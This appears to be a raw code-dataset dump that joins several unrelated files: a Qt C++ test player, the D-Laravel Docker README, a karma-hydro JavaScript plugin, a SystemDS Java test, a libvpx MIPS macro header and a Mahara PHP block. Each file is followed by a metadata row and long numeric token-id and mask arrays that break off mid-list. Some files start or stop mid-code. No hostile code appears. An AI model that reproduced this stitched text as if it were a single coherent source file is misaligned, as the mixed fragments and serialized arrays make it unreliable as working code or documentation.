connect(analyzer, SIGNAL(channelPlayers(int,QVector<qint32>)), SLOT(onChannelPlayers(int, QVector<qint32>)));
connect(analyzer, SIGNAL(playerLogin(PlayerInfo,QStringList)), SLOT(loggedIn(PlayerInfo,QStringList)));
connect(analyzer, SIGNAL(playerLogout(int)), SLOT(playerLogout(int)));
connect(analyzer, SIGNAL(PMReceived(int,QString)), SLOT(onPm(int, QString)));
connect(analyzer, SIGNAL(battleMessage(int,QByteArray)), SLOT(onBattleMessage(int, QByteArray)));
connect(analyzer, SIGNAL(battleStarted(int,Battle,TeamBattle,BattleConfiguration)), SLOT(onBattleStarted(int,Battle,TeamBattle,BattleConfiguration)));
connect(analyzer, SIGNAL(passRequired(QByteArray)), SLOT(onPassRequired(QByteArray)));
analyzer->connectTo("localhost", 5080);
}
Analyzer *TestPlayer::sender() const
{
return dynamic_cast<Analyzer*>(Test::sender());
}
void TestPlayer::onChannelMessage(const QString &, int, bool)
{
}
void TestPlayer::onMessage(const QString &)
{
}
void TestPlayer::onChannelPlayers(int, const QVector<qint32> &)
{
}
void TestPlayer::loggedIn(const PlayerInfo &, const QStringList &)
{
}
void TestPlayer::playerLogout(int)
{
}
void TestPlayer::onPm(int, const QString &)
{
}
void TestPlayer::onBattleMessage(int, const QByteArray &)
{
}
void TestPlayer::onPassRequired(const QByteArray &)
{
}
void TestPlayer::onBattleStarted(int, const Battle &, const TeamBattle &, const BattleConfiguration &)
{
}
| coyotte508/pokemon-online | tests/server/testplayer.cpp | C++ | gpl-3.0 | 2,096 | [
30522,
1001,
2421,
1026,
2136,
8569,
23891,
2099,
1013,
17908,
1012,
1044,
1028,
1001,
2421,
1000,
3231,
13068,
2121,
1012,
1044,
1000,
11675,
3231,
13068,
2121,
1024,
1024,
2707,
1006,
1007,
1063,
2448,
1006,
1007,
1025,
1065,
11675,
3231,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
**[中文說明](https://github.com/DevinY/dlaravel/blob/master/README-zh_TW.md)**
# D-Laravel (English manual)
D-Laravel uses docker-composer micro service framework,
it helps you quickly to build basic Laravel development environment by using simple commands: console and create.
Using D-Laravel also means no longer to install mysql, nginx and php-fpm in Mac.
You can deploy the environment by self-defined docker-compose-custom.yml file.
### Why use D-Laravel
It Provides easy way to execute the docker-compose command, quickly generate a laravel project environment, and automatically build a database and adjust Laravel's .env database settings for you.
The sublime3 package of D-Laravel alias can be installed, and the artisan and composer commands in the container (MacOS and Linux environment) are executed via sublime.
You can execute the latest PHP version in Mac OS.
It helps you to generate self-signed certification and completes HTTPS setting.
No need to install DnsMasq.
Port 80 won't be used when not start dlaravel.
Initial speed in seconds!!!
It can simulate different DB environment.
It also could open kinds of testing hosts.
Easy docker-compose v3.6 setting.
Using Dockerhub to remark official image to build basic Laravel environment.
It seems fashion if use docker. :P
<pre>
./console help (help, console parameter)
./create test1 (build test1.test)
./console down or ./console up (stop or start container)
./console restart (first ./console down and then ./console up)
`./console alias`
(If you think ./console command is too log, you could create c alias in terminal which simplifies command to "c info", "c up", or "c down")
./console alias (print console alias samples, it can be added to .bashrc or .zshrc)
./console version
Generate self-signed certificate for all current projects. (MacOS and Linux)
./console secure
</pre>
### Main Directory structure
<pre>
etc/ (nginx、php.ini and mysql settings)
data/ (mysql data files, auto-generated by ./console up)
dockerfiles/ (some dockerfiles)
sites/ (project files, the project will be set in this folder when executes ./create test1)
create (Simplified bash, to fast build laravel project)
console (Simplified bash file, to use kinds of docker-compose commands. ex. login mysql by "./console mysql")
docker-compose.yml (A soft link to connect different settings. ex. linking to docker-compose-custom.yml by "./console custom")
</pre>
#### 1. Please install docker.
<pre>
Mac OS:
https://docs.docker.com/docker-for-mac/
Ubuntu:
https://docs.docker.com/engine/installation/linux/docker-ce/ubuntu/#install-docker-ce
Windows 10: (required for laravel install in gitbash!!)
https://docs.docker.com/docker-for-windows/install/
To run console and create bash on Windows 10:
Gitbash is required.
Laravel installer have to run correctly in gitbash also.
</pre>
#### 2. git clone D-Laravel repo and execute "./console pull" in the folder
<pre>
git clone https://github.com/DevinY/dlaravel.git
cd dlaravel
You can ignore below's pull command. It will auto download the images according to docker-compose.yml when initials.
./console pull
The first time to download needed images from dockhub will take longer time. Be patient. :P
</pre>
#### 3. execute "./create ['project name']" to biuild new project
<pre>
ex.
./create test1
It will build http://test1.test website (can't be accessed from outside)
So you can use this command to build many different projects.
You need to provide privilege to modify /etc/hosts file, so D-Laravel will ask for your systme password during executing "./create project". (Mac OS using only)
</pre>
#### 4. executing "./console down" in D-Laravel foldee
<pre>
Attention:
D-Laravel is only used for development, Mysql root password is empty.
You may need to revise TZ in docker-compose.yml, default is Asia/Taipei.
</pre>
#### 5. Updating D-Laravel bash program and some settings
<pre>
git pull
.gitignore in D-Laravel already excludes dynamic files, ex. docker-comnpose.yml, docker-compose-custom.yml, sites folder etc.
You can git pull latest version and setting in D-Laravel folder.
</pre>
#### 6. alias and function (without entering the container can be implemented within the container composer or artisan instructions)
Get the console alias in your system.
<pre>
./console alias
</pre>
And then add the output to your ~/.bash_profile, or ~/.zshrc if you are using Z shell.
The OS X won't create .bash_profile for you.
Type 'touch ~/.bash_profile' to create your new one.
Execute the laravel installer in the container using the identity of dlaravel
<pre>
alias laravel='docker-compose exec -u dlaravel php /home/dlaravel/.composer/vendor/bin/laravel'
</pre>
run composer.sh in project folder, for example: ce dump
<pre>
alias ce="../../composer.sh"
</pre>
We can add aliases to our computer so that you do not have to go into the container to execute the php artisan directive. Let artisan's instructions be more concise, which I call the alias directly as a. For example: a --version
<pre>
alias a="../../artisan.sh"
</pre>
<pre>
alias phpunit = 'docker-compose -f ../../docker-compose.yml exec -u dlaravel php $ (basename $ {PWD}) / vendor / bin / phpunit -c $ (basename $ {PWD}) / phpunit.xml '
</pre>
Join this alias can do simple phpunit.
#### Others
<pre>
./create [project name] will create and build laravel, it would set all configures automatically including DB.
But how do we do if project already exists and only needs nginx setting?
Using "--host" to update /etc/hosts file, for example: "127.0.0.1 project1.test".
./create --host [project name] (./create --host project1)
You can move exist Laravel project to D-Laravel site folder.
Or manually executes "composer create-project" (not default version etc.)
Ex. Create project manually by using lumen
./console exec //It can execute php command in container.
./console exec php composer create-project --prefer-dist laravel/lumen project1
</pre>
#### Adjust images in setting
PHP: [Official repository rebuilds php to fit Laravel environment](https://hub.docker.com/r/deviny/fpm/tags/)
<pre>
image: deviny/fpm:7.3.5
image: deviny/fpm:7.2.18
image: deviny/fpm:7.1.29
image: deviny/fpm:5.6.39
</pre>
Nginx: [OFFICIAL REPOSITORY](https://hub.docker.com/r/library/nginx/)
Mysql: [OFFICIAL REPOSITORY](https://hub.docker.com/_/mysql/)
Remark:
When you need to revise different mysql version and that D-Laravel/data already exist, you may need to reset DB name in D-Laravel.data to ensure mysql image works normally.
Ex. Rename data to data_mysql8
<pre>
db:
image: mysql:8
...
volumes:
- ./etc/mysql/my.cnf:/etc/mysql/my.cnf
- ./data_mysql8:/var/lib/mysql
</pre>
#### Advandace
If you would like to rebuild your own php-fpm image.
You can do as below:
<pre>
cd dockerfiles/fpm/7.3
docker build -t myfpm .
</pre>
And then edit Your docker-compose.yml file.
<pre>
php:
network_mode: "service:web"
image: myfpm
</pre>
### Docker commands and Devin/dlaravel "./console" bash command comparison table
|Docker official commands|simplified ./console Bash commands| Describtion|
|---|---|---|
| docker-compose pull |./console pull |pull latest images |
| docker-compose up -d |./console up |start container |
| docker-compose down |./console down |stop container |
| docker-compose ps or docker ps|./console ps |show docker-compose process |
| docker-compose exec -u dlaravel php bash |./console |access php container |
| docker-compose exec php command |./console exec command |execute php container command,ex. ./console exec php -v|
| docker-compose exec db mysql |./console mysql |exectue mysql |
| docker-compose exec web nginx -s reload |./console reload |reload nginx setting |
| docker-compose logs -f [SERVICE] |./console logs |show nginx log,stop it with Ctrl+C |
| |./create [ProjectName]|create a project with default settings |
| |Ex. ./create test1 |Ex. create a http://test1.test website |
| |./console restart |restart container |
| |./console info |show url info |
|Switch model:|
| |./console random |using random port when initiate container|
| |./console normal |using local port 80 and 127.0.0.1:3306|
| |./console custom |using self-defined docker-compose-custom.yml|
|command below: -f: specific docker-compose.yml path。 up -d:start container in background|
|docker-compose -f docker-compose-normal.yml up -d| |using port 80 and port 3306|
|docker-compose -f docker-compose-random.yml up -d| |specific yml file with random port|
| DevinY/dlaravel | README.md | Markdown | mit | 8,599 | [
30522,
1008,
1008,
1031,
1746,
1861,
100,
1865,
1033,
1006,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
23601,
2100,
1013,
21469,
5400,
15985,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
3191,
4168,
1011,
1062,
2232,
1035,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/**
* Core dependencies.
*/
var path = require('path');
var dirname = path.dirname;
/**
* Create path.
*
* @param {String} pattern
* @returns {Object}
* @api private
*/
function createPattern(pattern) {
return {
pattern: pattern,
included: true,
served: true,
watched: false
};
}
/**
* Insert hydro into the loaded files.
*
* @param {Array} files
* @api public
*/
function init(config) {
var hydroConfig = config.hydro || {};
var hydroJs = hydroConfig.path || dirname(dirname(require.resolve('hydro'))) + '/dist/hydro.js';
var before = hydroConfig.before || [];
config.files.unshift(createPattern(__dirname + '/adapter.js'));
config.files.unshift(createPattern(hydroJs));
before.reverse().forEach(function(file) {
config.files.unshift(createPattern(path.resolve(file)));
});
}
/**
* Inject.
*/
init.$inject = [ 'config' ];
/**
* Primary export.
*/
module.exports = {
'framework:hydro': [ 'factory', init ]
};
| hydrojs/karma-hydro | index.js | JavaScript | mit | 977 | [
30522,
1013,
1008,
1008,
1008,
4563,
12530,
15266,
1012,
1008,
1013,
13075,
4130,
1027,
5478,
1006,
1005,
4130,
1005,
1007,
1025,
13075,
16101,
18442,
1027,
4130,
1012,
16101,
18442,
1025,
1013,
1008,
1008,
1008,
3443,
4130,
1012,
1008,
100... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.sysds.test.functions.recompile;
import java.util.HashMap;
import org.junit.Assert;
import org.junit.Test;
import org.apache.sysds.conf.CompilerConfig;
import org.apache.sysds.hops.OptimizerUtils;
import org.apache.sysds.runtime.matrix.data.MatrixValue.CellIndex;
import org.apache.sysds.test.AutomatedTestBase;
import org.apache.sysds.test.TestConfiguration;
import org.apache.sysds.test.TestUtils;
import org.apache.sysds.utils.Statistics;
public class FunctionRecompileTest extends AutomatedTestBase
{
private final static String TEST_NAME1 = "funct_recompile";
private final static String TEST_DIR = "functions/recompile/";
private final static String TEST_CLASS_DIR = TEST_DIR + FunctionRecompileTest.class.getSimpleName() + "/";
private final static double eps = 1e-10;
private final static int rows = 20;
private final static int cols = 10;
private final static double sparsity = 1.0;
@Override
public void setUp() {
TestUtils.clearAssertionInformation();
addTestConfiguration(TEST_NAME1,
new TestConfiguration(TEST_CLASS_DIR, TEST_NAME1, new String[] { "Rout" }) );
}
@Test
public void testFunctionWithoutRecompileWithoutIPA() {
runFunctionTest(false, false);
}
@Test
public void testFunctionWithoutRecompileWithIPA() {
runFunctionTest(false, true);
}
@Test
public void testFunctionWithRecompileWithoutIPA() {
runFunctionTest(true, false);
}
@Test
public void testFunctionWithRecompileWithIPA() {
runFunctionTest(true, true);
}
private void runFunctionTest( boolean recompile, boolean IPA )
{
boolean oldFlagRecompile = CompilerConfig.FLAG_DYN_RECOMPILE;
boolean oldFlagIPA = OptimizerUtils.ALLOW_INTER_PROCEDURAL_ANALYSIS;
try
{
TestConfiguration config = getTestConfiguration(TEST_NAME1);
config.addVariable("rows", rows);
config.addVariable("cols", cols);
loadTestConfiguration(config);
String HOME = SCRIPT_DIR + TEST_DIR;
fullDMLScriptName = HOME + TEST_NAME1 + ".dml";
programArgs = new String[]{"-args", input("V"),
Integer.toString(rows), Integer.toString(cols), output("R") };
fullRScriptName = HOME + TEST_NAME1 + ".R";
rCmd = "Rscript" + " " + fullRScriptName + " " + inputDir() + " " + expectedDir();
long seed = System.nanoTime();
double[][] V = getRandomMatrix(rows, cols, 0, 1, sparsity, seed);
writeInputMatrix("V", V, true);
CompilerConfig.FLAG_DYN_RECOMPILE = recompile;
OptimizerUtils.ALLOW_INTER_PROCEDURAL_ANALYSIS = IPA;
boolean exceptionExpected = false;
runTest(true, exceptionExpected, null, -1);
runRScript(true);
//note: change from previous version due to fix in op selection (unknown size XtX and mapmult)
//CHECK compiled MR jobs
int expectNumCompiled = -1;
if( IPA ) expectNumCompiled = 1; //reblock
else expectNumCompiled = 5; //reblock, GMR,GMR,GMR,GMR (last two should piggybacked)
Assert.assertEquals("Unexpected number of compiled MR jobs.",
expectNumCompiled, Statistics.getNoOfCompiledSPInst());
//CHECK executed MR jobs
int expectNumExecuted = -1;
if( recompile ) expectNumExecuted = 0;
else if( IPA ) expectNumExecuted = 1; //reblock
else expectNumExecuted = 41; //reblock, 10*(GMR,GMR,GMR, GMR) (last two should piggybacked)
Assert.assertEquals("Unexpected number of executed MR jobs.",
expectNumExecuted, Statistics.getNoOfExecutedSPInst());
//compare matrices
HashMap<CellIndex, Double> dmlfile = readDMLMatrixFromOutputDir("R");
HashMap<CellIndex, Double> rfile = readRMatrixFromExpectedDir("Rout");
TestUtils.compareMatrices(dmlfile, rfile, eps, "DML", "R");
}
finally {
CompilerConfig.FLAG_DYN_RECOMPILE = oldFlagRecompile;
OptimizerUtils.ALLOW_INTER_PROCEDURAL_ANALYSIS = oldFlagIPA;
}
}
}
| apache/incubator-systemml | src/test/java/org/apache/sysds/test/functions/recompile/FunctionRecompileTest.java | Java | apache-2.0 | 4,614 | [
30522,
1013,
1008,
1008,
7000,
2000,
1996,
15895,
4007,
3192,
1006,
2004,
2546,
1007,
2104,
2028,
1008,
2030,
2062,
12130,
6105,
10540,
1012,
2156,
1996,
5060,
5371,
1008,
5500,
2007,
2023,
2147,
2005,
3176,
2592,
1008,
4953,
9385,
6095,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Copyright (c) 2015 The WebM project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#ifndef VPX_DSP_MIPS_TXFM_MACROS_MIPS_MSA_H_
#define VPX_DSP_MIPS_TXFM_MACROS_MIPS_MSA_H_
#include "vpx_dsp/mips/macros_msa.h"
#define DOTP_CONST_PAIR(reg0, reg1, cnst0, cnst1, out0, out1) \
{ \
v4i32 s0_m, s1_m, s2_m, s3_m, s4_m, s5_m; \
v8i16 k0_m, k1_m, k2_m, zero = { 0 }; \
\
k0_m = __msa_fill_h(cnst0); \
k1_m = __msa_fill_h(cnst1); \
k2_m = __msa_ilvev_h((v8i16)k1_m, k0_m); \
k0_m = __msa_ilvev_h((v8i16)zero, k0_m); \
k1_m = __msa_ilvev_h(k1_m, (v8i16)zero); \
\
ILVRL_H2_SW(reg1, reg0, s5_m, s4_m); \
ILVRL_H2_SW(reg0, reg1, s3_m, s2_m); \
DOTP_SH2_SW(s5_m, s4_m, k0_m, k0_m, s1_m, s0_m); \
s1_m = __msa_dpsub_s_w(s1_m, (v8i16)s5_m, k1_m); \
s0_m = __msa_dpsub_s_w(s0_m, (v8i16)s4_m, k1_m); \
SRARI_W2_SW(s1_m, s0_m, DCT_CONST_BITS); \
out0 = __msa_pckev_h((v8i16)s0_m, (v8i16)s1_m); \
\
DOTP_SH2_SW(s3_m, s2_m, k2_m, k2_m, s1_m, s0_m); \
SRARI_W2_SW(s1_m, s0_m, DCT_CONST_BITS); \
out1 = __msa_pckev_h((v8i16)s0_m, (v8i16)s1_m); \
}
#define DOT_ADD_SUB_SRARI_PCK(in0, in1, in2, in3, in4, in5, in6, in7, dst0, \
dst1, dst2, dst3) \
{ \
v4i32 tp0_m, tp1_m, tp2_m, tp3_m, tp4_m; \
v4i32 tp5_m, tp6_m, tp7_m, tp8_m, tp9_m; \
\
DOTP_SH4_SW(in0, in1, in0, in1, in4, in4, in5, in5, tp0_m, tp2_m, tp3_m, \
tp4_m); \
DOTP_SH4_SW(in2, in3, in2, in3, in6, in6, in7, in7, tp5_m, tp6_m, tp7_m, \
tp8_m); \
BUTTERFLY_4(tp0_m, tp3_m, tp7_m, tp5_m, tp1_m, tp9_m, tp7_m, tp5_m); \
BUTTERFLY_4(tp2_m, tp4_m, tp8_m, tp6_m, tp3_m, tp0_m, tp4_m, tp2_m); \
SRARI_W4_SW(tp1_m, tp9_m, tp7_m, tp5_m, DCT_CONST_BITS); \
SRARI_W4_SW(tp3_m, tp0_m, tp4_m, tp2_m, DCT_CONST_BITS); \
PCKEV_H4_SH(tp1_m, tp3_m, tp9_m, tp0_m, tp7_m, tp4_m, tp5_m, tp2_m, dst0, \
dst1, dst2, dst3); \
}
#define DOT_SHIFT_RIGHT_PCK_H(in0, in1, in2) \
({ \
v8i16 dst_m; \
v4i32 tp0_m, tp1_m; \
\
DOTP_SH2_SW(in0, in1, in2, in2, tp1_m, tp0_m); \
SRARI_W2_SW(tp1_m, tp0_m, DCT_CONST_BITS); \
dst_m = __msa_pckev_h((v8i16)tp1_m, (v8i16)tp0_m); \
\
dst_m; \
})
#define MADD_SHORT(m0, m1, c0, c1, res0, res1) \
{ \
v4i32 madd0_m, madd1_m, madd2_m, madd3_m; \
v8i16 madd_s0_m, madd_s1_m; \
\
ILVRL_H2_SH(m1, m0, madd_s0_m, madd_s1_m); \
DOTP_SH4_SW(madd_s0_m, madd_s1_m, madd_s0_m, madd_s1_m, c0, c0, c1, c1, \
madd0_m, madd1_m, madd2_m, madd3_m); \
SRARI_W4_SW(madd0_m, madd1_m, madd2_m, madd3_m, DCT_CONST_BITS); \
PCKEV_H2_SH(madd1_m, madd0_m, madd3_m, madd2_m, res0, res1); \
}
#define MADD_BF(inp0, inp1, inp2, inp3, cst0, cst1, cst2, cst3, out0, out1, \
out2, out3) \
{ \
v8i16 madd_s0_m, madd_s1_m, madd_s2_m, madd_s3_m; \
v4i32 tmp0_m, tmp1_m, tmp2_m, tmp3_m, m4_m, m5_m; \
\
ILVRL_H2_SH(inp1, inp0, madd_s0_m, madd_s1_m); \
ILVRL_H2_SH(inp3, inp2, madd_s2_m, madd_s3_m); \
DOTP_SH4_SW(madd_s0_m, madd_s1_m, madd_s2_m, madd_s3_m, cst0, cst0, cst2, \
cst2, tmp0_m, tmp1_m, tmp2_m, tmp3_m); \
BUTTERFLY_4(tmp0_m, tmp1_m, tmp3_m, tmp2_m, m4_m, m5_m, tmp3_m, tmp2_m); \
SRARI_W4_SW(m4_m, m5_m, tmp2_m, tmp3_m, DCT_CONST_BITS); \
PCKEV_H2_SH(m5_m, m4_m, tmp3_m, tmp2_m, out0, out1); \
DOTP_SH4_SW(madd_s0_m, madd_s1_m, madd_s2_m, madd_s3_m, cst1, cst1, cst3, \
cst3, tmp0_m, tmp1_m, tmp2_m, tmp3_m); \
BUTTERFLY_4(tmp0_m, tmp1_m, tmp3_m, tmp2_m, m4_m, m5_m, tmp3_m, tmp2_m); \
SRARI_W4_SW(m4_m, m5_m, tmp2_m, tmp3_m, DCT_CONST_BITS); \
PCKEV_H2_SH(m5_m, m4_m, tmp3_m, tmp2_m, out2, out3); \
}
#endif // VPX_DSP_MIPS_TXFM_MACROS_MIPS_MSA_H_
| mwgoldsmith/libvpx | vpx_dsp/mips/txfm_macros_msa.h | C | bsd-3-clause | 6,092 | [
30522,
1013,
1008,
1008,
9385,
1006,
1039,
1007,
2325,
1996,
4773,
2213,
2622,
6048,
1012,
2035,
2916,
9235,
1012,
1008,
1008,
2224,
1997,
2023,
3120,
3642,
2003,
9950,
2011,
1037,
18667,
2094,
1011,
2806,
6105,
1008,
2008,
2064,
2022,
21... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/**
*
* @package mahara
* @subpackage blocktype-profileinfo
* @author Catalyst IT Ltd
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL version 3 or later
* @copyright For copyright information on Mahara, please see the README file distributed with this software.
*
*/
defined('INTERNAL') || die();
class PluginBlocktypeProfileinfo extends PluginBlocktype {
public static function get_title() {
return get_string('title', 'blocktype.internal/profileinfo');
}
public static function get_description() {
return get_string('description', 'blocktype.internal/profileinfo');
}
public static function get_categories() {
return array('internal');
}
public static function get_instance_config_javascript() {
return array('js/configform.js');
}
public static function render_instance(BlockInstance $instance, $editing=false) {
require_once(get_config('docroot') . 'artefact/lib.php');
$smarty = smarty_core();
$configdata = $instance->get('configdata');
$data = array();
$data['socialprofiles'] = array();
// add in the selected email address
if (!empty($configdata['email'])) {
$configdata['artefactids'][] = $configdata['email'];
}
$viewowner = get_field('view', 'owner', 'id', $instance->get('view'));
// Get data about the profile fields in this blockinstance
if (!empty($configdata['artefactids'])) {
foreach ($configdata['artefactids'] as $id) {
try {
$artefact = artefact_instance_from_id($id);
if (is_a($artefact, 'ArtefactTypeProfile') && $artefact->get('owner') == $viewowner) {
$rendered = $artefact->render_self(array('link' => true));
$artefacttype = $artefact->get('artefacttype');
if ($artefacttype == 'socialprofile') {
if (get_record('blocktype_installed', 'active', 1, 'name', 'socialprofile', 'artefactplugin', 'internal')) {
$data['socialprofiles'][] = array(
'link' => ArtefactTypeSocialprofile::get_profile_link(
$artefact->get('title'),
$artefact->get('note')),
'title' => $artefact->get('title'),
'description' => $artefact->get('description'),
'note' => $artefact->get('note'),
);
}
}
else {
$data[$artefacttype] = $rendered['html'];
}
}
}
catch (ArtefactNotFoundException $e) {
log_debug('Artefact not found when rendering a block instance. '
. 'There might be a bug with deleting artefacts of this type? '
. 'Original error follows:');
log_debug($e->getMessage());
}
}
// Sort social profiles alphabetically (in ASC order)
$description = array();
foreach ($data['socialprofiles'] as $key => $row) {
$description[$key] = $row['description'];
}
array_multisort($description, SORT_ASC, $data['socialprofiles']);
}
// Work out the path to the thumbnail for the profile image
if (!empty($configdata['profileicon'])) {
$downloadpath = get_config('wwwroot') . 'thumb.php?type=profileiconbyid&id=' . $configdata['profileicon'];
$downloadpath .= '&maxwidth=80';
$smarty->assign('profileiconpath', $downloadpath);
$smarty->assign('profileiconalt', get_string('profileimagetext', 'mahara', display_default_name(get_user($viewowner))));
}
// Override the introduction text if the user has any for this
// particular blockinstance
if (!empty($configdata['introtext'])) {
$data['introduction'] = $configdata['introtext'];
}
$smarty->assign('profileinfo', $data);
return $smarty->fetch('blocktype:profileinfo:content.tpl');
}
/**
* Overrides the standard get_artefacts method to make sure the profileicon
* is added also.
*
* @param BlockInstance $instance The blockinstance to get artefacts for
* @return array A list of artefact IDs in the blockinstance, or false if
* there are none
*/
public static function get_artefacts(BlockInstance $instance) {
$configdata = $instance->get('configdata');
$return = array();
if (isset($configdata['artefactids']) && is_array($configdata['artefactids'])) {
$return = $configdata['artefactids'];
}
if (!empty($configdata['profileicon'])) {
$return = array_merge($return, array($configdata['profileicon']));
}
return $return ? $return : false;
}
public static function has_instance_config() {
return true;
}
public static function instance_config_form($instance) {
$configdata = $instance->get('configdata');
$form = array();
// Which fields does the user want
$form[] = self::artefactchooser_element((isset($configdata['artefactids'])) ? $configdata['artefactids'] : null);
// Profile icon
if (!$result = get_records_sql_array('SELECT a.id, a.artefacttype, a.title, a.note
FROM {artefact} a
WHERE (artefacttype = \'profileicon\' OR artefacttype = \'email\')
AND a.owner = (
SELECT "owner"
FROM {view}
WHERE id = ?
)
ORDER BY a.id', array($instance->get('view')))) {
$result = array();
}
$iconoptions = array(
0 => get_string('dontshowprofileicon', 'blocktype.internal/profileinfo'),
);
$emailoptions = array(
0 => get_string('dontshowemail', 'blocktype.internal/profileinfo'),
);
foreach ($result as $profilefield) {
if ($profilefield->artefacttype == 'profileicon') {
$iconoptions[$profilefield->id] = ($profilefield->title) ? $profilefield->title : $profilefield->note;
}
else {
$emailoptions[$profilefield->id] = $profilefield->title;
}
}
if (count($iconoptions) == 1) {
$form['noprofileicon'] = array(
'type' => 'html',
